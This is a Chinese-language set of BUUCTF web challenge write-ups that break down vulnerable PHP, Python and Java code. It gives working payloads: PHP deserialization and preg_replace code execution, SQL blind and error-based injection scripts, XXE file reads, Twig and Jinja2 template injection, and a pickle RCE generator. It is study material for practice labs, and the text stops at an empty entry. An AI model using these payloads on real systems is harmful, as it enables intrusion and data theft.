Buuctf部分刷题wp

[网鼎杯 2020 朱雀组]phpweb

抓包发现两个可上传的参数,判断存在命令执行

使用函数读取源码

image-20211030171241334

判断存在反序列化漏洞

   <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() //对象被销毁时调用{
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func); //将其转化为小写
        if (!in_array($func,$disable_fun)) //过滤
        {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
可使用func参数进行反序列化,p参数传入序列化的代码,实现命令执行
<?php
class Test{
    var $p = "cat /tmp/flagoefiu4r93";
    var $func="system";
}
echo(serialize(new Test));
?>

最终payload为

O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

[安洵杯 2019]easy_web

打开题目发现其url有base64编码http://74f7e225-8aa1-4849-8371-c8f53134260a.node4.buuoj.cn:81/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

base64解码两次+16进制解码得到信息为555.png

判断此参数可获取文件源码,讲index.php反编译,得到base64编码,解码为下

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>

关键代码:

if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo $cmd;

即要传入MD5相同的两个字符串

正则匹配可使用\绕过 在linux中\表示换行

也可使用sort命令

sort的定义: sort将文件的每一行作为一个单位相互比较,比较原则是从首字符向后依次按ASCII码进行比较,最后将它们按升序输出(就是按行排序)。

md5强比较

这一大长串的编码,他们的md5值是相等的,原理是将hex字符串转化为ascii字符串,并写入到bin文件
考虑到要将一些不可见字符传到服务器,这里使用url编码

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3Bu%93%D8Igm%A0%D1U%5D%83%60%FB%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB%07%FE%A2

参考连接:https://www.cnblogs.com/kuaile1314/p/11968108.html

image-20211104183839913

[BSidesCF 2020]Had a bad day

php://filter/read=convert.base64-encode/resource=index

使用php伪协议可读取源码

 <?php
    $file = $_GET['category'];
    if(isset($file))
    {
    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index"))
    {
        nclude ($file . '.php');
    }
    else{
        echo "Sorry, we currently only support woofers and meowers.";
    }
}
?>

使用伪协议目录穿越即可

payload:php://filter/read=convert.base64-encode/resource=index/../flag

[SUCTF 2019]CheckIn

上传php文件,发现用exif_imagetype函数检测文件类型,可通过给上传脚本加上相应的幻数头字节就可以绕过:

  • JPG :FF D8 FF E0 00 10 4A 46 49 46
  • GIF(相当于文本的GIF89a):47 49 46 38 39 61
  • PNG: 89 50 4E 47

本题利用到了.user.ini 的知识点,先上传一个.uer.ini文件,再上传图片马,随便访问同目录下的文件,会自动包含图片马。

[RoarCTF 2019]Easy Java

打开后发现存在文件下载,想到java配置文件WEB-INF/web.xml泄露

image-20220105141210793

使用post请求成功下载WEB-INF/web.xml文件

WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

可以通过web.xml获取到java web的配置信息

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <welcome-file-list>
        <welcome-file>Index</welcome-file>
    </welcome-file-list>

    <servlet>
        <servlet-name>IndexController</servlet-name>
        <servlet-class>com.wm.ctf.IndexController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>IndexController</servlet-name>
        <url-pattern>/Index</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>LoginController</servlet-name>
        <servlet-class>com.wm.ctf.LoginController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>LoginController</servlet-name>
        <url-pattern>/Login</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>DownloadController</servlet-name>
        <servlet-class>com.wm.ctf.DownloadController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>DownloadController</servlet-name>
        <url-pattern>/Download</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>

</web-app>

可以看到com.wm.FlagController,构造payload

filename=WEB-INF/classes/com/wm/ctf/FlagController.class

下载文件反编译后得到base64编码的flag

[极客大挑战 2019]FinalSQL

使用异或运算检测出为数字型注入

?id=1^1 错误

?id=1^0 正常

fuzz测试,过滤了大多数关键字,使用异或进行绕过,使用二分法进行盲注

查数据库

"id=1^(ascii(substr((select(database())),%d,1))<%d)^1" % (i,mid)

查表

"id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),%d,1))<%d)^1" % (i,mid)

查字段

"id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),%d,1))<%d)^1" % (i,mid)

爆值

"id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))<%d)^1" % (i,mid)

脚本()

import requests
url = 'http://d63d924a-88e3-4036-b463-9fc6a00f4fef.node3.buuoj.cn/search.php'
flag = ''
for i in range(1,250):
   low = 32
   high = 128
   mid = (low+high)//2
   while(low<high):
       #payload = 'http://d63d924a-88e3-4036-b463-9fc6a00f4fef.node3.buuoj.cn/search.php?id=1^(ascii(substr(database(),%d,1))=%d)#' %(i,mid)
       # 查表
       # tables="?id=1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),{0},1))={1})^1".format(i,mid)
       # 查字段
       # columns = "?id=1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{0},1))={1})^1".format(i,mid)
       payload = "http://08f6ba32-8c92-43d1-abb4-4115171c3aae.node4.buuoj.cn:81/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" %(i,mid)
       res = requests.get(url=payload)

       if 'ERROR' in res.text:
           low = mid+1
       else:
           high = mid
       mid = (low+high)//2
   if(mid ==32 or mid ==127):
       break
   flag = flag+chr(mid)
   print(flag)

[BJDCTF2020]ZJCTF,不过如此

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php

}
else{
    highlight_file(__FILE__);
}
?>

使用input伪协议将‘I have a dream’写入$text,filter伪协议读取next.php内容,得到源码

image-20220111142501687

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}

foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

preg_replace

preg_replace(pattern, replacement, subject)

当pattern传入的正则表达式带有/e时,存在命令执行,即当匹配到符合正则表达式的字符串时,第二个参数的字符串可被当做代码来执行。

在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线

php里,如果 双引号中有变量,那么php解释器会将其替换为变量解释后的结果,但单引号中的变量不会被处理(不过双引号中的函数不会被执行)

strtolower("\1")' \1 在正则表达式中有自己的含义

反向引用

对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

所以这里的 \1 实际上指定的是第一个子匹配项

payload:\S*=${getFlag()}&cmd=system('cat /flag');

正则表达式的\S:匹配所有非空白字符;

[GXYCTF2019]禁止套娃

目录扫描,发现git泄露,下载源码,进行代码审计

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

存在rce,过滤了伪协议,字母等,

如果';' ===pregreplace(...),那么就执行exp传递的命令
[a-z,
]+ : [a-z,]匹配小写字母和下划线 +表示1到多个
(?R)? : (?R)代表当前表达式,就是这个(/[a-z,
]+((?R)?)/),所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)*则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d())))

简单说来就是:这串代码检查了我们通过GET方式传入的exp参数的值,如果传进去的值是传进去的值是字符串接一个(),那么字符串就会被替换为空。如果(递归)替换后的字符串只剩下;,那么我们传进去的 exp 就会被 eval 执行。比如我们传入一个 phpinfo();,它被替换后就只剩下;,那么根据判断条件就会执行phpinfo();。

(?R)?能匹配的只有a(); a(b()); a(b(c()));这种类型的。比如传入a(b(c()));,第一次匹配后,就剩a(b());,第二次匹配后,a();,第三次匹配后就只剩下;了,最后a(b(c()));就会被eval执行。

第一种方法:

先查看当前目录下的文件。

exp=print_r(scandir(current(localeconv())));

localconv():函数返回一包含本地数字及货币格式信息的数组,数组第一项是.
current()/pos():函数返回数组中的当前元素,初始指向第一个元素。
所以current(localeconv())=='.'  (永远是点)
scandir('.'):列出当前目录中的文件和目录。

image-20220113131348065

接下来要读取flag.php文件中的内容。

show_source(next(array_reverse(scandir(pos(localeconv())))));

array_reverse():将原数组中的元素顺序反转,创建新的数组并返回。
next():函数将内部指针指向数组的下一个元素,并输出。

另一种方法:

手动设置名为PHPSESSID的cookie,并设置值为flag.php,在进行读取

使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。 session_id()可以获取到当前的session id。

print_r(session_id(session_start()));

image-20220113131642320

image-20220113131606310

[BJDCTF2020]Mark loves cat

目录扫描。存在git泄露,获取源码

<?php
include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;    //post传入的值赋给键为名的参数
}

foreach($_GET as $x => $y){
    $$x = $$y;  //get传入的值为名的参数赋予键为名的参数
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);   
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

存在变量覆盖漏洞,输出变量flag即可获得flag,有三种输出方式,有一种成功即可

第一种,get传参:yds=flag

利用 exit($yds);

即$yds=$flag

第二种,get传参:is=flag&flag=flag

利用exit($is);
即$is=$flag $flag=$flag

[NCTF2019]Fake XML cookbook

通过题目和源码判断存在xml实体注入(xml),

XXE常见利用方式

有回显,可以直接在页面中看到payload的执行结果或现象。

无回显,又称为blind xxe,可以使用外带数据(OOB)通道提取数据。即可以引用远程服务器上的XML文件读取文件。

解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞。

本题为有回显,直接构造文件读取payload即可

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
  <!ENTITY admin SYSTEM "file:///flag">
  ]>
<user><username>&admin;</username><password>123456</password></user>

image-20220113145631663

[BJDCTF2020]Cookie is so stable

提示查看cookie,发现存在Twig模块模板注入

image-20220113153344692

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

[安洵杯 2019]easy_serialize_php

打开题目,获得源码

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST); //从数组中将变量导入到当前的符号表。可导致变量覆盖

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));

反向分析,突破口在于利用file_get_contents读取flag文件,

要想触发此函数,要令$function=‘show_image’,

同时令$userinfo['img']=base64编码后的flag文件,

而$userinfo由$serialize_info经过反序列化得到

$serialize_info由序列化后的$_SESSION经过filter函数过滤后得到,

同时不能传入$_GET['img_path'],否则$_SESSION['img']将被hash加密

可利用反序列化对象逃逸,利用过滤函数,覆盖$_SESSION[img]的值

而根据提示查看phpinfo,得到提示文件位置

image-20220114142759724

payload1:值逃逸,这儿需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

经过过滤,var_dump的结果为:

"a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

payload2:键逃逸,这儿只需要一个键值对就行了,我们直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独得键值对

_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

经过过滤,var_dump的结果为:

"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

得到flag路径

image-20220114145055574

base64编码后恰好20位,替换上面的base64编码即可

[WUSTCTF2020]朴实无华

目录扫描扫到robots.txt访问得到提示文件,访问后无flag

image-20220114151741327

抓包,响应头找到新文件地址

image-20220114151820989

得到源码

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/fl4g.php:2) in /var/www/html/fl4g.php on line 3
<img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>
去非洲吧

三关绕过

第一关:

isset函数用于获取参数的整数值,当参数为科学计数法时,只会获取e前的值,但+1后会将科学计数法强制转换为int类型

所以可用科学计数法绕过

令num=1e10即可

第二关:

弱类型比较,找到一个0e开头且md5也为0e开头的数即可

md5=0e215962017

第三关:

strstr() 函数

搜索字符串在另一字符串中的第一次出现。

过滤了cat命令和空格

get_flag=tac<flag

最终payload:

num=1e10&md5=0e215962017&get_flag=tac<fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[ASIS 2019]Unicorn shop

image-20220115165728274
输入商品id和价格 ,发现价格只能输入一个字符,且只有4号能购买。

很明显,购买4号将会得到flag,检查源码,发现使用utf-8编码

image-20220115165918150

那肯定是要买第四个商品了

考点unicode编码安全问题

我们可以用别的语言来表示数字

搜uncode大于1337的字符
直接搜thousand,找一个字符进行url编码后上传即可

image-20220115170438417

[CISCN 2019 初赛]Love Math

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

过滤:

  • 长度<80
  • 不包含黑名单内字符
  • 只含白名单内的函数

可利用php函数的动态特性:php函数可以通过赋值,将函数名赋给变量

进行函数拼接,来绕过长度限制,利用数学函数来绕过黑名单检测

构造初步payload为:

?c=$_GETa&a=system&b=cat flag

接下来绕过过滤

base_convert
在任意进制之间转换数字
dechex
将十进制转化为十六进制
hex2bin
将十六进制转化为ascii的字符
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET"   //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs}  //{}可以代替[]

payload:c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat /flag

[SWPU2019]Web1

留言板存在二次注入

过滤了空格,or,and,--+,#,order等关键字
order by可以使用group by代替,空格可以使用/**/代替,注释符可以采用闭合的方式代替,如group by 1,'2

-1'/**/group/**/by/**/22,'11

返回正常

-1'union/**/select/**/1,database(),version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

-1'union%0aselect%0a1,database(),version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

image-20220115194024723

information_schema.tables被过滤

这个视图可以查表名:sys.schema_auto_increment_columns

#该视图的作用是对表自增ID进行监控就是说,某张表如果存在自增ID,我们就可以通过该视图获取数据库的该表名信息.

同时Maria数据库的这个表可以查表名:mysql.innodb_table_stats

1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=schema()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
此题php版本不对,不能使用

-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

image-20220115194936036

但上述两个方法不能获取列名,可采用子查询的方法进行爆数据

image-20220115194056003

-1'union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/users)/**/as/**/b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

image-20220115195630186

[WesternCTF2018]shrine

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s   //进行模块渲染

    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

查看源码,猜测存在模板注入,测试

image-20220117141654382

为jinjia2模板注入

根据 app.config['FLAG'] = os.environ.pop('FLAG') //注册了一个名为FLAG的config,目标为读取他

本题设置了黑名单[‘config’,‘self’]并且过滤了括号

有两个函数包含了全局变量,url_for和get_flashed_messages

globals() 函数会以字典类型返回当前位置的全部全局变量。

/shrine/{{url_for.__globals__}}

image-20220117143432731

current_app': <Flask 'app'>这里的current就是指的当前的app,这样我们只需要能查看到这个的config就可以看到flag了,构造payload

/shrine/{{url_for.__globals__['current_app'].config}}

image-20220117143642900

[BJDCTF2020]EasySearch

Apache SSI 远程命令执行漏洞

https://cloud.tencent.com/developer/article/1540513

[CISCN2019 华北赛区 Day1 Web2]ikun

根据提示,需要购买lv6,并突破金额限制

image-20220209152730215

页面过多,写脚本找到lv6所在页面

import requests

for i in range(1000):
    url = 'http://9a1a7fdc-44ff-4e75-a7e4-1c8e5757a43c.node4.buuoj.cn:81/shop?page={0}'.format(i)
    res=requests.get(url=url)
    if 'lv6.png' in res.text:
        print(url)
    else:
        pass

image-20220209152853745
金额不够,进行抓包,查找是否存在支付逻辑漏洞

image-20220209152933167

发现可更改优惠卷数值

image-20220209153603471

修改到能够购买后,发现存在身份限制,根据数据包,可以看到存在jwt

image-20220209153513631

使用工具c-jwt-crack爆破jwt密钥,得到密钥为1kun

image-20220209162427220

在购买的数据包中,修改jwt,将用户改为admin,在发包购买

image-20220209163449162

成功购买后,出现提示,存在源码

image-20220209163631167

发现Admin.py文件

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib

class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

注意到become参数,可进行rce

此参数先进行url解码,在pickle反序列化

我们构造一下become参数

import pickle
import urllib

class Test(object):
    def __reduce__(self):
        return (eval,("open('/flag.txt','r').read()",))
a=Test()
b=pickle.dumps(a)
print(urllib.quote(b))
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

刷新抓包,更改become参数

image-20220209165727950

[HITCON 2017]SSRFme

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

分析

前半部分

获取ip,创建并跳转到"sandbox/. md5("orange" . ip)"的目录

后半部分

get传参url并进行过滤(把字符串转码为可以在 shell 命令里使用的参数),

然后进行GET url命令执行

获取传入filename的最后一级文件夹(若获取不为空)并创建

创建传入filename的文件名,并写入命令执行的结果

知识点

GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理

参考:https://blog.csdn.net/qq_45521281/article/details/105868449

Perl中open命令执行(GET)
1.使用GET读取文件
如果GET后面跟路径的话,可以直接获取文件或目录内容
读取根目录
GET /

2.使用GET执行命令
GET底层实现使用的是open函数,而open函数可以执行命令,所以我们可以用GET来执行命令
file 协议才有可以利用的 open

PS:必须得满足前面的文件存在才会命令执行,所以我们要创建一个与命令同名的文件

basename() 函数返回路径中的文件名部分。

pathinfo() 函数以数组的形式返回关于文件路径的信息。

返回的数组元素如下:

  • 解题

    创建文件aaa并读取根目录

?url=/&filename=aaa

image-20220214142612092

猜测执行readflag即可获得flag,配合GET命令读取

/?url=file:bash -c /readflag|&filename=bash -c /readflag| 创建相应的同名文件
/?url=file:bash -c /readflag|&filename=123 利用open的feature执行代码

image-20220214150742225

[RCTF2015]EasySQL

打开出现注册和登录两个选项。先进行注册,发现过滤了一些东西,burp fuzz一下过略了空格以及一些函数等

image-20220215142558058

注册用户

image-20220215141450187

登录后,存在修改密码页面,修改后出现报错

image-20220215142104188

判断存在二次注入,可采用报错注入进行注入,使用括号替换空格,将注入语句注册为用户名,在修改密码即可

查表

123"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#

image-20220215142844117

经测试flag在users表中

爆字段

123"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#

image-20220215143312056

存在长度限制,可使用正则匹配

123"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1))#

image-20220215143219344

爆字段

123"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#

image-20220215143520064

长度限制,可使用reverse逆置输出拼接flag

123"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

image-20220215143703448

image-20220215143949471

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

打开题目,右键查看源代码,发现提示

image-20220218151509682

使用伪协议获取源码

?file=php://filter/convert.base64-encode/resource=

index.php

<?php

